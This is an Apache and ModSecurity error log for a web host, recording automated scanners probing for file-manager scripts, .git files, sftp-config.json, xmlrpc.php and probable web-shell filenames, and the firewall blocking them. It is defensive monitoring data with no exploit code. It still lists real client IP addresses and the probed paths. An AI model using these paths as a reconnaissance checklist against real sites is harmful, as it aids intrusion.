[Sun May 24 20:46:46.677675 2026] [:error] [pid 15835:tid 15843] [client 134.199.171.224:60526] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/editor/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8cgAAAAY"]
[Sun May 24 20:46:46.772148 2026] [:error] [pid 15835:tid 15846] [client 134.199.171.224:60540] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNmWbknYlUM9P0qO8cwAAAAk"]
[Sun May 24 20:46:46.801142 2026] [:error] [pid 11282:tid 11348] [client 134.199.171.224:60556] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NKwAAAMg"]
[Sun May 24 20:46:46.809543 2026] [:error] [pid 11280:tid 11308] [client 134.199.171.224:60572] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ5wAAAFc"]
[Sun May 24 20:46:46.812840 2026] [:error] [pid 11280:tid 11296] [client 134.199.171.224:60578] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ6AAAAEs"]
[Sun May 24 20:46:46.820665 2026] [:error] [pid 11280:tid 11289] [client 134.199.171.224:60580] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNoRn5s7laoSxy1QJ6QAAAEQ"]
[Sun May 24 20:46:46.843008 2026] [:error] [pid 11368:tid 11377] [client 134.199.171.224:60596] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWMgAAAQc"]
[Sun May 24 20:46:46.850850 2026] [:error] [pid 11282:tid 11343] [client 134.199.171.224:60608] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NLAAAAMM"]
[Sun May 24 20:46:46.853875 2026] [:error] [pid 11282:tid 11349] [client 134.199.171.224:60618] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NLQAAAMk"]
[Sun May 24 20:46:46.861955 2026] [:error] [pid 11368:tid 11380] [client 134.199.171.224:60624] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWMwAAAQo"]
[Sun May 24 20:46:46.885522 2026] [:error] [pid 11282:tid 11345] [client 134.199.171.224:60636] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NLgAAAMU"]
[Sun May 24 20:46:46.892111 2026] [:error] [pid 11368:tid 11388] [client 134.199.171.224:60640] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/arquivos/javascript/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNofq_sTmmtTKm1UWNAAAARI"]
[Sun May 24 20:46:46.903470 2026] [:error] [pid 11282:tid 11363] [client 134.199.171.224:60654] [client 134.199.171.224] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/cms/vendor/responsive_filemanager/filemanager/dialog.php"] [unique_id "ahLzNu0bPyN3C7HZ1R-NLwAAANc"]
[Mon May 25 02:27:14.131711 2026] [:error] [pid 11368:tid 11378] [client 36.37.209.184:50864] [client 36.37.209.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "ahNDAofq_sTmmtTKm1WJ8wAAAQg"]
[Mon May 25 03:19:02.443143 2026] [proxy_fcgi:error] [pid 9319:tid 9373] [client 172.212.217.152:55233] AH01071: Got error 'Primary script unknown'
[Mon May 25 03:19:02.633413 2026] [proxy_fcgi:error] [pid 9319:tid 9360] [client 172.212.217.152:55233] AH01071: Got error 'Primary script unknown'
[Mon May 25 03:19:02.824978 2026] [proxy_fcgi:error] [pid 9319:tid 9368] [client 172.212.217.152:55233] AH01071: Got error 'Primary script unknown'
[Mon May 25 03:19:03.016047 2026] [proxy_fcgi:error] [pid 9319:tid 9351] [client 172.212.217.152:55233] AH01071: Got error 'Primary script unknown'
[Mon May 25 04:07:39.710209 2026] [:error] [pid 9303:tid 9339] [client 2.99.36.197:58159] [client 2.99.36.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.99.36.197, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ahNai33bQScbssitjPQT2gAAAEU"]
[Mon May 25 04:07:39.720353 2026] [proxy_fcgi:error] [pid 9303:tid 9339] [client 2.99.36.197:58159] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:09:16.237288 2026] [:error] [pid 9304:tid 9379] [client 104.28.214.122:64570] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ms-themes.php"] [unique_id "ahOFHOVEV2qpMC_1UzSV1wAAAJI"]
[Mon May 25 07:09:16.767419 2026] [:error] [pid 50423:tid 50425] [client 104.28.214.122:64581] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "ahOFHKJWO7En4nKEQ3g-lQAAAQA"]
[Mon May 25 07:52:48.820672 2026] [proxy_fcgi:error] [pid 62515:tid 62532] [client 20.9.45.132:20413] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:52:49.056179 2026] [proxy_fcgi:error] [pid 62515:tid 62534] [client 20.9.45.132:20413] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:52:49.445910 2026] [proxy_fcgi:error] [pid 62515:tid 62530] [client 20.9.45.132:20413] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:52:49.639464 2026] [proxy_fcgi:error] [pid 62515:tid 62541] [client 20.9.45.132:20413] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:52:50.086261 2026] [proxy_fcgi:error] [pid 62515:tid 62524] [client 20.9.45.132:20413] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:52:50.311984 2026] [proxy_fcgi:error] [pid 62515:tid 62526] [client 20.9.45.132:20413] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:52:50.503966 2026] [proxy_fcgi:error] [pid 62515:tid 62523] [client 20.9.45.132:20413] AH01071: Got error 'Primary script unknown'
[Mon May 25 07:52:50.934317 2026] [:error] [pid 62515:tid 62529] [client 20.9.45.132:20413] [client 20.9.45.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "ahOPUhig0_XsOwmnrv9HSAAAAMw"]
[Mon May 25 07:52:52.441106 2026] [:error] [pid 62722:tid 62735] [client 20.9.45.132:13503] [client 20.9.45.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "ahOPVKM6ssnLWYf6CVA45wAAAEs"]
[Mon May 25 07:52:53.767618 2026] [:error] [pid 62426:tid 62448] [client 20.9.45.132:20369] [client 20.9.45.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "ahOPVUj3D3Mo8ANpTRBtGQAAABI"]
[Mon May 25 07:52:54.814806 2026] [:error] [pid 62722:tid 62738] [client 20.9.45.132:20729] [client 20.9.45.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "ahOPVqM6ssnLWYf6CVA49AAAAE4"]
[Tue May 26 01:28:07.692794 2026] [proxy_fcgi:error] [pid 62427:tid 62469] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:07.842845 2026] [proxy_fcgi:error] [pid 62427:tid 62478] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:07.991292 2026] [proxy_fcgi:error] [pid 62427:tid 62466] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:08.165089 2026] [proxy_fcgi:error] [pid 62427:tid 62471] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:08.340409 2026] [proxy_fcgi:error] [pid 62427:tid 62462] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:08.489232 2026] [proxy_fcgi:error] [pid 62427:tid 62477] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:08.788337 2026] [proxy_fcgi:error] [pid 62427:tid 62472] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:08.950885 2026] [proxy_fcgi:error] [pid 62427:tid 62459] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:09.100315 2026] [proxy_fcgi:error] [pid 62427:tid 62474] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:09.267712 2026] [proxy_fcgi:error] [pid 62427:tid 62479] [client 20.196.204.16:2713] AH01071: Got error 'Primary script unknown'
[Tue May 26 01:28:09.413152 2026] [:error] [pid 62427:tid 62461] [client 20.196.204.16:2713] [client 20.196.204.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "ahSGqfMUa83fc4GDyByeOQAAAUQ"]
[Tue May 26 01:28:10.042683 2026] [:error] [pid 62515:tid 62535] [client 20.196.204.16:8456] [client 20.196.204.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "ahSGqhig0_XsOwmnrv-OUQAAANI"]
[Tue May 26 01:28:10.652419 2026] [:error] [pid 62426:tid 62453] [client 20.196.204.16:8542] [client 20.196.204.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "ahSGqkj3D3Mo8ANpTRBjJwAAABc"]
[Tue May 26 01:28:11.253683 2026] [:error] [pid 62426:tid 62451] [client 20.196.204.16:2561] [client 20.196.204.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "ahSGq0j3D3Mo8ANpTRBjKAAAABU"]
[Tue May 26 02:56:38.315807 2026] [:error] [pid 62427:tid 62467] [client 136.116.226.168:39030] [client 136.116.226.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "ahSbZvMUa83fc4GDyBynXQAAAUo"]
[Tue May 26 12:59:44.603316 2026] [proxy_fcgi:error] [pid 20025:tid 20086] [client 213.202.253.4:62544] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Tue May 26 12:59:50.054656 2026] [proxy_fcgi:error] [pid 39336:tid 39362] [client 213.202.253.4:50467] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Tue May 26 13:00:19.600617 2026] [proxy_fcgi:error] [pid 39336:tid 39358] [client 213.202.253.4:60308] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Tue May 26 13:00:25.966349 2026] [proxy_fcgi:error] [pid 20025:tid 20081] [client 213.202.253.4:60869] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Tue May 26 13:00:32.063809 2026] [proxy_fcgi:error] [pid 20025:tid 20087] [client 213.202.253.4:58315] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Tue May 26 13:00:38.309585 2026] [proxy_fcgi:error] [pid 20024:tid 20051] [client 213.202.253.4:57130] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Tue May 26 13:00:44.914433 2026] [proxy_fcgi:error] [pid 39336:tid 39357] [client 213.202.253.4:65517] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Tue May 26 13:00:51.403708 2026] [:error] [pid 20025:tid 20068] [client 213.202.253.4:54035] [client 213.202.253.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gdftps.php"] [unique_id "ahUpA37k8Vts-JPOkgVjlgAAAEM"], referer: www.google.com
[Tue May 26 15:20:08.009298 2026] [:error] [pid 39336:tid 39362] [client 23.161.169.62:37466] [client 23.161.169.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "ahVJqNwmp9MmyaRNgiBIHgAAAVc"]
[Tue May 26 15:20:08.080177 2026] [:error] [pid 20024:tid 20062] [client 23.161.169.62:37442] [client 23.161.169.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ahVJqFdk7QtxEB93NpduvwAAABg"]
[Tue May 26 17:05:08.813512 2026] [:error] [pid 55988:tid 55993] [client 34.11.17.55:56651] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "ahViRP3kVIz2sql52sdhxQAAAQI"]
[Tue May 26 17:05:09.242335 2026] [:error] [pid 55988:tid 56015] [client 34.11.17.55:59291] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahViRf3kVIz2sql52sdiDgAAARg"]
[Tue May 26 17:05:09.698664 2026] [:error] [pid 39336:tid 39345] [client 34.11.17.55:60321] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feed/"] [unique_id "ahViRdwmp9MmyaRNgiBznQAAAUY"]
[Tue May 26 19:52:36.602224 2026] [:error] [pid 33888:tid 33964] [client 35.231.37.62:58725] [client 35.231.37.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.231.37.62, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ahWJhDqzTeoxiinZsGHq-AAAARI"]
[Tue May 26 19:52:36.611803 2026] [proxy_fcgi:error] [pid 33888:tid 33964] [client 35.231.37.62:58725] AH01071: Got error 'Primary script unknown'
[Tue May 26 19:52:39.220527 2026] [:error] [pid 33888:tid 33969] [client 35.231.37.62:58725] [client 35.231.37.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ahWJhzqzTeoxiinZsGHrAgAAARc"]
[Tue May 26 19:52:39.690818 2026] [:error] [pid 43701:tid 43710] [client 35.231.37.62:49954] [client 35.231.37.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ahWJh4WtVI_UGrhtwKBwGgAAAUc"]
[Tue May 26 19:52:40.171714 2026] [:error] [pid 33977:tid 33985] [client 35.231.37.62:58111] [client 35.231.37.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ahWJiO9cnSDNAU9sYPjAtwAAAAU"]
[Tue May 26 19:52:40.644225 2026] [:error] [pid 43701:tid 43721] [client 35.231.37.62:59937] [client 35.231.37.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ahWJiIWtVI_UGrhtwKBwJAAAAVI"]
[Tue May 26 21:38:42.259126 2026] [:error] [pid 36497:tid 36515] [client 35.203.155.159:49809] [client 35.203.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.203.155.159, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ahWiYrjKQWM1gBmBY4gfYQAAAMU"]
[Tue May 26 21:38:42.268093 2026] [proxy_fcgi:error] [pid 36497:tid 36515] [client 35.203.155.159:49809] AH01071: Got error 'Primary script unknown'
[Tue May 26 21:38:44.503071 2026] [:error] [pid 36497:tid 36531] [client 35.203.155.159:49809] [client 35.203.155.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ahWiZLjKQWM1gBmBY4gfbgAAANU"]
[Tue May 26 21:38:44.865942 2026] [:error] [pid 36497:tid 36513] [client 35.203.155.159:63978] [client 35.203.155.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ahWiZLjKQWM1gBmBY4gfcQAAAMM"]
[Tue May 26 21:38:45.347089 2026] [:error] [pid 36497:tid 36529] [client 35.203.155.159:62472] [client 35.203.155.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ahWiZbjKQWM1gBmBY4gfdAAAANM"]
[Tue May 26 21:38:45.782069 2026] [:error] [pid 36497:tid 36522] [client 35.203.155.159:64186] [client 35.203.155.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ahWiZbjKQWM1gBmBY4gfdQAAAMw"]
[Tue May 26 22:34:46.296511 2026] [proxy_fcgi:error] [pid 33886:tid 33893] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:46.525832 2026] [proxy_fcgi:error] [pid 33886:tid 33907] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:46.743150 2026] [proxy_fcgi:error] [pid 33886:tid 33899] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:47.086793 2026] [proxy_fcgi:error] [pid 33886:tid 33904] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:47.304275 2026] [proxy_fcgi:error] [pid 33886:tid 33891] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:47.557834 2026] [proxy_fcgi:error] [pid 33886:tid 33896] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:49.255155 2026] [proxy_fcgi:error] [pid 33886:tid 33898] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:49.474706 2026] [proxy_fcgi:error] [pid 33886:tid 33905] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:49.911903 2026] [proxy_fcgi:error] [pid 33886:tid 33911] [client 20.63.34.22:13901] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:34:50.126526 2026] [:error] [pid 33886:tid 33913] [client 20.63.34.22:13901] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ahWvirBYzgp5rPVdHcW_qAAAAFY"]
